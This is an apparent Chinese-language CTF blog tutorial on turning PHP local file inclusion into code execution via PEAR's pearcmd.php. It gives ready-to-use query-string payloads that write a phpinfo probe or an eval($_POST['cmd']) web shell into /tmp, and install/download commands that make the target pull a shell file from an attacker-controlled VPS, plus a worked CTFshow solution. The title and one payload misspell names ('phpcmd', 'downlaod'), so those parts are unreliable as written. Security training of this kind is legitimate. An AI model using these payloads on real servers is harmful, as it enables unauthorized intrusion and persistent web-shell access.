CTF中phpcmd.php文件包含利用

CTF中phpcmd.php文件包含利用

耀鳞光翼 Lv3

Pear

pecl是PHP中用来管理扩展使用的命令,而pearpecl依赖的类库。

[!NOTE]

PHP 7.3以前,pecl/pear是默认安装的;

在7.4及其以后,需要在编译PHP的时候带上--with-pear才会安装

但在任意版本的的Docker镜像中,pecl和pear都会默认安装,安装位置为/usr/local/lib/php

使用条件

  • 开启register_argc_argv这个选项(在Docker中自动开启)
  • 存在文件包含的利用点
  • 确定pearcmd.php的位置,/usr/local/lib/php

Register_argc_argv选项

如果环境中含有php.ini,则默认register_argc_argv=Off;如果环境中没有php.ini,则默认register_argc_argv=On

当这个选项开启时,用户的输入就会进入$argc_$argv_$_SERVER['argv']几个变量。

当我们开启register_argc_argv选项的时候,$_SERVER['argv']才会生效

Pearcmd相关源码

pear会在pearcmd.php获取命令行参数:

1
2
3
4
5
6
7
8
9
PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
unset($argv[1]);
$argv = array_values($argv);
}

pearcmd.php使用readPHPArgv()获取命令行参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

PHP会先尝试$argv,如果不存在再尝试$_SERVER['argv'],后者我们可通过query-string控制。也就是说,我们通过Web访问了pear命令行的功能,且能够控制命令行的参数。

[!CAUTION]

1.&符无法分割参数,真正能分割参数的是加号+。

2.等号无法赋值,而是会直接被传进去当作参数。

pear命令实则调用了pearcmd.php, 于是我们便可以使用pear命令来执行shell命令

pear相关命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
Commands:
build Build an Extension From C Source
bundle Unpacks a Pecl Package
channel-add Add a Channel
channel-alias Specify an alias to a channel name
channel-delete Remove a Channel From the List
channel-discover Initialize a Channel from its server
channel-info Retrieve Information on a Channel
channel-login Connects and authenticates to remote channel server
channel-logout Logs out from the remote channel server
channel-update Update an Existing Channel
clear-cache Clear Web Services Cache
config-create Create a Default configuration file
config-get Show One Setting
config-help Show Information About Setting
config-set Change Setting
config-show Show All Settings
convert Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff Run a "cvs diff" for all files in a package
cvstag Set CVS Release Tag
download Download Package
download-all Downloads each available package from the default channel
info Display information about a package
install Install Package
list List Installed Packages In The Default Channel
list-all List All Packages
list-channels List Available Channels
list-files List Files In Installed Package
list-upgrades List Available Upgrades
login Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm Builds an RPM spec file from a PEAR package
package Build Package
package-dependencies Show package dependencies
package-validate Validate Package Consistency
pickle Build PECL Package
remote-info Information About Remote Packages
remote-list List Remote Packages
run-scripts Run Post-Install Scripts bundled with a package
run-tests Run Regression Tests
search Search remote package database
shell-test Shell Script Test
sign Sign a package distribution file
svntag Set SVN Release Tag
uninstall Un-install Package
update-channels Update the Channel List
upgrade Upgrade Package
upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]

参数利用

config-create

config-create该方法有两个参数,第二个参数是写入文件的路径,第一个文件会写入到第二个参数的路径内。

利用payload:

1
2
3
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
或者
?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=phpinfo()?>+/tmp/test.php

构成的数据格式为:

1
2
3
4
5
6
7
8
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

上述代码会将/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>写入文件/tmp/hello.php,接着便可以利用文件包含实现getshell

或者在其中直接写入一句话<?=@eval($_POST['cmd']);?>,为了避免输出时重复输出多次,可以添加die()

1
<?=@eval($_POST['cmd']);die()?>

install

install参数可以实现远程下载文件

1
pear install http://[vps]:[port]/test1.php

通过这段命令,可以让靶机从外部VPS主动下载文件至网站内

因此,可以利用这个特性,从外部直接下载shell文件来实现getshell,--installroot选项还可以指定下载的位置,于是就有

1
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:port/test1.php

这段payload会将test1.php文件下载到&file=/usr/local/lib/php/pearcmd.php&/tmp/pear/download/&/tmp/pear/download/目录下

这种利用方式可能会由于新建文件夹,而用户对其没有访问权限导致利用失败

download

download参数也可以实现远程下载文件,可以直接下载到web目录里,不用提前之前目录的具体路径

1
2
pear download [option] [package]
这里的option只有一个-Z, --nocompress,下载一个未压缩的tar包

使用命令:

1
pear download http://[vps]:[port]/test1.php

构造payload:

1
/?file=/usr/local/lib/php/peclcmd.php&+download+http://vps/test1.php

或者

1
?+download+file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php&

被过滤?

如果pearcmd关键词被过滤,可以用peclcmd.php作为平替,在这个php文件当中其实就是引入了pearcmd.php:

1
2
3
4
5
6
7
8
9
10
if ('/www/server/php/52/lib/php' != '@'.'include_path'.'@') {
ini_set('include_path', '/www/server/php/52/lib/php');
$raw = false;
} else {
// this is a raw, uninstalled pear, either a cvs checkout, or php distro
$raw = true;
}
define('PEAR_RUNTYPE', 'pecl');
require_once 'pearcmd.php';//这里包含了pearcmd.php

CTF实际样例

CTFshow萌新web22源码:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\:|\/|\\\/i",$c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
?>

传递参数c,先检查变量 $c 是否包含冒号、斜杠或反斜杠。如果这些字符不存在,则将 $c 的值作为文件名并包含对应的 PHP 文件。

参数c传递的直接就是文件名,该题的web目录下存在phpcmd.php文件,所以只需要传递文件名,并使用downlaod参数来远程下载VPS上的一句话文件即可。(前提是在VPS上已经搭建好可以直接公网访问的一句话文件,或者是使用云厂商提供的OSS存储也可以实现公网访问)

构造payload:

1
?c=pearcmd&+downlaod+http://[vps]:port/1.php

其中1.php为一句话

上传后执行命令显示:

1
2
downloading 1.php ... Starting to download 1.php (Unknown size) ....done: 30 bytes Could not get contents of package "/var/www/html/1.php". 
Invalid tgz file. Download of "http://[vps]:port/1.php" succeeded, but it is not a valid package archive Invalid or missing remote package file download failed

接着直接使用相关工具连接文件即可。

  • 标题: CTF中phpcmd.php文件包含利用
  • 作者: 耀鳞光翼
  • 创建于 : 2025-01-04 14:08:00
  • 更新于 : 2025-01-04 14:09:19
  • 链接: https://blog.lightwing.top/2025/01/04/phpcmd_func/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论